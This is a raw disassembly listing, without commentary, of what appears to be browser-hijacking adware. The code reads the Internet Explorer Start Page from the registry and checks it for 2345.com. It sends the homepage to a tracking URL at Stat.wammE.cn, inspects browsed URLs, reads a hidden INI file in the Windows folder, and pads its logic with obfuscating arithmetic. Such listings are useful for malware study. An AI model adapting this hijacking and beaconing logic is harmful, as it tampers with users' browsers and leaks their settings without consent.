lea ecx, [ebp - 0x1c4]
push ecx
call fcn.00425cf0
mov edx, dword [0x45ccd8]
mov dword [ebp - 0x10d0], eax
mov eax, dword [0x45ccd0]
lea esi, [edx + eax]
imul eax, eax, 0x161e
mov ecx, dword [0x45ccc8]
imul esi, esi, 0x1865
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
sar edx, 0xb
add esi, edx
mov edi, edx
mov edx, dword [str._r_____r____]
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x2f1d432d
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
mov eax, dword [0x44de14]
sar edx, 0xa
add edi, edx
mov dword [ebp - 0x13c], eax
xor eax, eax
mov ebx, edx
mov edx, dword [0x44de10]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x44de18]
mov dword [ebp - 0x140], edx
mov dl, byte [0x44de1c]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
shr ebx, 0x1f
add ebx, edi
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45cccc]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, dword [0x45ccd4]
mov edi, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov dword [ebp - 0x10d8], eax
mov eax, 0x44fc3a35
imul ecx
sar edx, 0xb
mov edi, edx
mov dword [0x45cce8], ebx
mov dword [ebp - 0x10f4], 0
shr edi, 0x1f
mov eax, dword [ebp - 0x10d8]
imul ecx, ecx, 0x1865
imul ebx, ebx, 0xa74
add eax, edx
add edi, eax
mov eax, 0x5c9900d1
imul esi
add edi, ecx
sar edx, 0xb
mov ecx, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, edi
add ecx, edx
lea eax, [ebp - 0x10f4]
push eax
add ecx, ebx
push 0xf003f
mov dword [str._r_____r____], ecx
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x421841
mov ecx, dword [0x45cce8]
mov esi, dword [0x45ccc8]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
mov edi, esi
imul esi, esi, 0x1259
imul edi, edi, 0x161e
sub edi, eax
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, ecx
imul edx, edx, 0x1259
sub edi, edx
mov eax, 0x61f60d03
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xa
add edi, edx
mov ebx, edx
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, dword [0x45ccd0]
add eax, ebx
mov edx, ecx
imul edx, edx, 0xa08
add eax, edx
mov dword [0x45ccd8], eax
mov eax, 0x53f407b5
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc09370e3
imul dword [0x45cce4]
add edx, dword [0x45cce4]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x1481
sub ebx, edx
mov eax, 0x6f9f33f1
imul edi
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, esi
mov ebx, eax
mov eax, 0x2f1d432d
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45ccc8], eax
mov dword [ebp - 0x10dc], 0x104
mov esi, dword [0x45cccc]
imul ecx, ecx, 0xade
lea ebx, [edi + esi]
mov edi, dword [0x45cce4]
imul ebx, ebx, 0x1ef5
mov eax, 0x44fc3a35
imul edi
sar edx, 0xb
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov edi, edx
add ebx, edx
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
shr edi, 0x1f
add edi, ebx
sub edi, eax
add edi, edx
add edi, ecx
lea eax, [ebp - 0x10dc]
push eax
mov eax, dword [ebp - 0x10f4]
lea ecx, [ebp - 0x144]
push ecx
lea edx, [ebp - 0x10d8]
push edx
push 0
push str.Start_Page
push eax
mov dword [0x45ccdc], edi
mov dword [ebp - 0x10d8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x421841
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce0]
mov eax, 0x5c9900d1
imul ecx
mov edi, esi
imul edi, edi, 0x1865
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45cce4]
sar edx, 0xc
imul ecx, ecx, 0x1259
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr edi, 0x1f
add edi, ebx
add edi, ecx
mov ecx, dword [0x45cccc]
sub edi, edx
mov eax, 0x6614bc37
imul ecx
mov eax, dword [0x570b18]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
sub ecx, dword [str._r_____r____]
add ecx, 0xae6
test eax, eax
mov dword [0x45cccc], ecx
jne 0x42184d
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x421786
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421841
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
sar edx, 0xb
sub ebx, edi
mov edi, edx
add ebx, edx
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
shr edi, 0x1f
imul eax, eax, 0xa74
sar edx, 0xb
add edi, ebx
add edi, ecx
mov ecx, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x144]
push ecx
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_HomePage_s
push 0x55f5e8
mov dword [0x570b18], 1
call fcn.00430051
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce0]
mov edx, dword [0x45ccd0]
imul esi, esi, 0xade
mov edi, dword [0x45cce4]
lea ebx, [edx + ecx]
mov eax, 0x44fc3a35
imul ebx, ebx, 0x1ef5
imul edi
sar edx, 0xb
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov edi, edx
add ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45ccdc]
sar edx, 0xc
imul ecx, ecx, 0x1259
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, ebx
add eax, edx
mov edx, dword [ebp - 0x10f4]
sub edi, eax
add edi, ecx
add edi, esi
push edx
mov dword [0x45ccdc], edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub edi, eax
imul edx, edx, 0x1481
sub edi, edx
mov eax, 0x6f9f33f1
imul ecx
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
sar edx, 0xb
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x2f1d432d
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
lea edi, [eax + ecx]
mov ecx, dword [0x45ccd8]
imul edi, edi, 0xa08
mov dword [0x45ccc8], eax
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x44fc3a35
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add edi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45cce4], eax
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10cc]
push eax
call fcn.00425e50
mov esi, dword [0x45ccd8]
mov edi, dword [0x45ccdc]
mov ebx, eax
mov eax, esi
imul eax, eax, 0x1db0
mov dword [ebp - 0x10dc], eax
mov eax, 0x44fc3a35
imul edi
mov eax, dword [ebp - 0x10dc]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
sub eax, ecx
imul edx, edx, 0x1545
add eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, 0x6f9f33f1
imul esi
mov eax, dword [ebp - 0x10dc]
sar edx, 0xb
add eax, edx
mov ecx, edx
mov edx, dword [0x45ccd0]
shr ecx, 0x1f
add ecx, eax
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
sub ecx, eax
mov eax, dword [0x45cce4]
add ecx, edx
sub ecx, eax
sub ecx, 0x1259
mov dword [0x45ccd0], ecx
test ebx, ebx
je 0x421b53
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x421b41
mov esi, dword [0x45cce8]
mov eax, 0x53f407b5
imul esi
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x161e
sub ecx, edx
mov edx, dword [0x45ccd4]
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1259
sub ecx, eax
sub ecx, edx
mov eax, 0x61f60d03
imul esi
sar edx, 0xa
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
push 1
mov dword [0x45ccd8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10cc]
push eax
call fcn.00425e50
mov ebx, eax
mov esi, dword [0x45ccd8]
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45ccdc]
mov edx, dword [0x45cce8]
imul edi, edi, 0x1259
imul esi, esi, 0xade
add ecx, edx
mov eax, 0x4227fdad
imul ecx, ecx, 0xae6
imul edx
sar edx, 0xb
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45cccc]
sub eax, edi
add eax, esi
mov dword [ebp - 0x10dc], eax
mov eax, 0x5df55b35
imul ecx
mov eax, dword [ebp - 0x10dc]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccd4]
imul edx, edx, 0xa74
push 4
sub eax, ecx
sub eax, edx
push str.http
push ebx
mov dword [0x45cce0], eax
call fcn.004311f0
add esp, 0xc
test eax, eax
je 0x421e4f
push 4
push str.HTTP
push ebx
call fcn.004311f0
add esp, 0xc
test eax, eax
je 0x421e4f
push 4
push str.www.
push ebx
call fcn.004311f0
add esp, 0xc
test eax, eax
je 0x421e4f
push 4
push str.WWW.
push ebx
call fcn.004311f0
add esp, 0xc
test eax, eax
je 0x421e4f
push str.http:
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x421c68
push str.HTTP:
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x421c68
push str.www.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x421c68
push str.WWW.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421e4f
mov eax, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
lea esi, [ecx + eax]
imul eax, eax, 0x161e
mov ecx, dword [0x45ccc8]
imul esi, esi, 0x1865
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov edi, edx
add esi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0x1259
shr edi, 0x1f
add edi, esi
sub edi, edx
mov edx, dword [str._r_____r____]
mov eax, 0x2f1d432d
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push str.http:
push ebx
mov dword [0x45cce8], ecx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421dfb
push str.http:
jmp 0x421e44
mov ecx, dword [0x45ccd0]
imul esi, esi, 0x1481
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc09370e3
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
sub ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x1259
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push str.startup.exe
mov dword [0x45ccc8], eax
call fcn.0040f930
add esp, 4
test eax, eax
jle 0x420f2d
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 5
je 0x421d95
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x421da9
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x421dbd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x421dd1
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov edi, dword [0x45cccc]
mov eax, dword [ebp - 0x10f8]
mov ebx, dword [0x45cce8]
inc eax
mov dword [ebp - 0x10f8], eax
jmp 0x420630
push str.HTTP:
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421e14
push str.HTTP:
jmp 0x421e44
push str.www.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421e2d
push str.www.
jmp 0x421e44
push str.WWW.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x421e4f
push str.WWW.
push ebx
call fcn.0040d340
add esp, 8
mov ebx, eax
mov edi, dword [0x45ccd4]
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x4227fdad
imul dword [0x45cccc]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, 0xbb03c5cb
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [ebp - 0x10dc]
sub edi, eax
mov esi, dword [0x45cce8]
mov eax, 0x44fc3a35
imul esi, esi, 0xa74
imul dword [0x45cccc]
sar edx, 0xb
add edi, edx
mov eax, edx
mov edx, dword [0x45cccc]
imul edx, edx, 0x1865
add edx, esi
mov dword [ebp - 0x10d8], esi
mov esi, dword [0x45ccdc]
shr eax, 0x1f
imul esi, esi, 0x1545
add eax, edi
add edx, eax
mov dword [ebp - 0x10f0], ecx
add esi, edx
mov edx, dword [0x44dd80]
add esi, ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [0x44dd7c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.fdfdadsafdfghfjkt]
mov dword [ebp - 0x4c0], ecx
mov cx, word [0x44dd88]
mov dword [ebp - 0x4c4], eax
mov eax, dword [0x44dd84]
mov word [ebp - 0x4b4], cx
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4bc], edx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45ccd4]
stosw word es:[edi], ax
mov edi, dword [0x45cce0]
mov eax, 0xc09370e3
imul edi, edi, 0x1865
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
add edi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0x1259
shr ecx, 0x1f
add ecx, edi
mov eax, 0x6614bc37
add ecx, edx
imul dword [0x45cccc]
mov dword [str._r_____r____], esi
sar edx, 0xa
add ecx, edx
mov eax, edx
mov edx, dword [ebp - 0x10d8]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10f0]
sub eax, edx
sub eax, esi
lea ecx, [eax + ecx + 0xae6]
mov esi, ebx
mov dword [0x45cccc], ecx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x421fc5
sub esi, edi
mov dword [ebp - 0x10f0], esi
je 0x422109
push str.http:__
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str.HTTP:__
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str.www.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str.WWW.
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..COM
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..com
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..NET
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..net
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..ORG
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..org
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push 0x44dd34
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push 0x44dd30
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..htm
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x4220ee
push str..HTM
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x422103
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.00430051
add esp, 0xc
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov dword [ebp - 0x10f0], eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
mov eax, dword [ebp - 0x10f0]
sar edx, 0xb
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1545
add edi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, eax
mov eax, dword [0x45cce8]
push str.C:WINDoWS_system_sdax.txt
imul eax, eax, 0xa74
push 0x400
lea edx, [ebp - 0x8c4]
push edx
push 0x44ce59
push str.rtgbh
add ecx, eax
push str.asdf
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x422309
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4221c2
sub eax, edx
mov dword [ebp - 0x10f0], eax
je 0x422309
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x422309
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x42226b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x42226b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea esp, [esp]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x422248
test al, al
je 0x422244
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x422248
add esi, 2
add edi, 2
test al, al
jne 0x422220
xor eax, eax
jmp 0x42224d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x42226b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x422283
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0040d340
add esp, 8
test eax, eax
je 0x422309
mov esi, dword [0x45ccdc]
mov edi, dword [0x45ccd8]
mov ecx, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul ecx, ecx, 0x1545
imul esi
sar edx, 0xb
mov eax, edx
mov ebx, edi
imul ebx, ebx, 0x1db0
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6f9f33f1
imul edi
sar edx, 0xb
add ebx, ecx
add ebx, edx
mov ecx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
add ecx, edx
sub ecx, dword [0x45cce4]
sub ecx, 0x1259
mov dword [0x45ccd0], ecx
jmp 0x4223cc
push 0
call fcn.00430687
mov ecx, dword [0x45cce8]
mov dword [0x570b14], eax
mov eax, dword [0x570b10]
mov esi, dword [0x45ccc8]
add esp, 4
imul esi, esi, 0x161e
inc eax
mov dword [0x570b10], eax
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
sub esi, eax
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1259
sub esi, eax
sub esi, edx
mov eax, 0x61f60d03
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xa
mov edi, edx
add esi, edx
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
sar edx, 0xa
shr edi, 0x1f
mov eax, edx
add edi, esi
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10d0]
add eax, edi
add eax, ecx
mov dword [0x45ccd8], eax
mov eax, dword [ebp - 0x10e4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov esi, dword [0x45ccdc]
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45ccd8]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc09370e3
imul dword [0x45cce4]
add edx, dword [0x45cce4]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub ebx, eax
imul edx, edx, 0x1481
sub ebx, edx
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
add ebx, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [ebp - 0x10c8]
test ebx, ebx
mov dword [0x45ccc8], eax
je 0x422ada
mov ecx, ebx
lea edx, [ecx + 1]
mov dword [ebp - 0x10d0], edx
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x422460
sub ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], ecx
je 0x422ada
mov ecx, dword [str._r_____r____]
add edi, ecx
imul ecx, ecx, 0x161e
imul edi, edi, 0x1545
mov eax, esi
imul eax, eax, 0x1865
add edi, eax
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
add eax, ecx
mov edi, eax
mov eax, 0x6614bc37
imul esi
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce0]
sub edi, ecx
push 0xffffffffffffffff
lea eax, [edi + edx - 0x1259]
push 0x5606f0
lea ecx, [ebp - 0x113c]
mov dword [0x45ccd4], eax
call fcn.00406ff0
mov esi, dword [0x45cce8]
mov ecx, dword [0x45ccd0]
lea edi, [ecx + esi]
mov eax, 0x4227fdad
imul edi, edi, 0xae6
imul esi
mov eax, dword [0x45ccd8]
sar edx, 0xb
imul eax, eax, 0xade
add edi, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
add ecx, eax
mov eax, 0x5df55b35
imul dword [0x45cccc]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
imul edx, edx, 0xa74
sub ecx, eax
sub ecx, edx
mov byte [ebp - 4], 7
mov dword [0x45cce0], ecx
mov eax, 0x55fee8
mov edi, ebx
mov edi, edi
mov bl, byte [edi]
mov dl, bl
cmp bl, byte [eax]
jne 0x422584
test dl, dl
je 0x422580
mov bl, byte [edi + 1]
mov dl, bl
cmp bl, byte [eax + 1]
jne 0x422584
add edi, 2
add eax, 2
test dl, dl
jne 0x422560
xor eax, eax
jmp 0x422589
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x422ac0
mov ebx, dword [0x45ccd4]
mov eax, 0x5c9900d1
imul ebx
sar edx, 0xb
mov eax, ecx
imul eax, eax, 0x1865
mov dword [ebp - 0x10d0], eax
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0xc09370e3
imul ebx
mov eax, ebx
add edx, eax
mov eax, dword [ebp - 0x10d0]
sar edx, 0xc
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
mov edx, esi
imul edx, edx, 0xa74
add ebx, eax
sub ebx, edx
mov eax, 0x6614bc37
imul dword [0x45cccc]
sar edx, 0xa
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [str._r_____r____]
sub eax, ebx
lea edx, [eax + edi + 0xae6]
mov eax, dword [ebp - 0x10c8]
mov dword [0x45cccc], edx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422625
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x422653
mov ecx, dword [ebp - 0x10c8]
mov edx, 0x55fee8
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x422644
jmp 0x4226de
mov ebx, dword [0x45ccc8]
mov eax, 0x53f407b5
imul ebx, ebx, 0x161e
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1259
sub ebx, eax
sub ebx, edx
mov eax, 0x61f60d03
imul esi
sar edx, 0xa
mov esi, edx
add ebx, edx
